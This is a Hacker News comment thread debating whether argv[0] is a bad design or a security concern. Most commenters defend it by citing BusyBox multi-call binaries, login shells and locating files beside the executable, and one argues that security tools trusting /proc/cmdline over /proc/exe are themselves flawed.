       | halayli wrote:
       | > This seems like a questionable design decision. Should a
       | program be allowed to behave differently based on its name? From
       | a 2020s standpoint, this seems highly undesirable, as it makes
       | software less predictable and goes against modern design
       | principles.
       | 
       | No it doesn't make software less predictable nor does it goes
       | against modern design principles. argv has very handy use cases
       | and can be used to provide better user experience.
       | 
       | Unless you have evidence to back up your claims, you're just
       | turning a subjective opinion to an objective one without any
       | merit.
       | 
       | Either way, it's software developer choice and irrelevant to the
       | user as much as it is irrelevant to the user whether the
       | developer prefers for(;;) over while(1).
        
       | mzs wrote:
       | "A login shell is one whose first character of argument zero is a
       | -"
        
       | kazinator wrote:
       | The author doesn't seem to understand that argv[0] can be
       | different due to, for instance, one executable implementing many
       | programs, such as BusyBox and similar projects.
       | 
       | While argv[0] is old, if you had to design it from scratch to
       | day, it would still be a good idea to have the program invocation
       | name as an argument.
       | 
       | The idea that anything old must is historic quirk that we can
       | today eliminate is flawed.
       | 
       | Now argv[0] should not be relied upon for obtaining the
       | executable name, except as a last resort if the program is built
       | for platforms that don't have anything else. But if one
       | executable has multiple program names via symlinks, only argv[0]
       | will distinguish them.
        
       | Brian_K_White wrote:
       | This is stupid. argv0 is just some data like any other data.
       | 
       | It's ridiculously useful aside from the obvious busybox style
       | usage.
       | 
       | It's huge to be able to have a pointer to the directory where the
       | executable resides, so you can package other assets along side it
       | and have it all work for free without a seperate configuration
       | file or env variables etc.
       | 
       | Or for debugging or even non-error logging. You might call a
       | binary from more than one place by other means than symlinks or
       | hard links. You might be running from different mounted
       | filsystems, chroot or container environments etc. A symlink might
       | be in the middle of the path and not the executable name itself.
       | Similarly a mount point.
       | 
       | It's just a random small useful tool like all others. Calling it
       | some kind of security problem is like saying that screwdrivers
       | are a security problem because aside from turning screws, some
       | people can use screwdrivers to stab people, and we have nut
       | drivers which can almost serve almost all the same needs for only
       | a little extra work.
       | 
       | If your context of the moment means you have a security concern
       | where you shouldn't trust this bit of data as gospel for some
       | reason, then don't. Treat it like user input and take whatever
       | precautions and fallback measures and sanity checks make sense
       | for you in whatever particular situation you are in.
       | 
       | F-ing dumb.
        
         | iainmerrick wrote:
         | _It 's huge to be able to have a pointer to the directory where
         | the executable resides, so you can package other assets along
         | side it and have it all work for free without a seperate
         | configuration file or env variables etc._
         | 
         | Yes! I was surprised how far down I had to scroll to find
         | somebody mentioning that one.
         | 
         | How else can you write a reasonably robust script that
         | actually, you know, does something? You almost always need to
         | grab some known files by their paths relative to the script.
        
       | remram wrote:
       | > From a 2020s standpoint, this seems highly undesirable, as it
       | makes software less predictable and goes against modern design
       | principles.
       | 
       | This is not an argument at all, this is a statement that
       | arguments exist. What are they?
       | 
       | It's like saying we shouldn't do something because it's "against
       | best practices". I'm asking _why_ are other practices
       | preferred...
        
       | nottorp wrote:
       | <Cough> Busybox.
       | 
       | There is life outside the enterprise security theater.
        
       | linsomniac wrote:
       | "Security" software that trusts /proc/cmdline (and the like), and
       | in particular if it doesn't complain about /proc/cmdline having a
       | mismatch with /proc/exe, doesn't seem like very useful security
       | software to me. Particularly if it's security software that is
       | making some security decisions based on argv[0].
       | 
       | Seems like this security software is broken, not argv[0]
        
       ___________________________________________________________________
       (page generated 2024-09-03 23:00 UTC)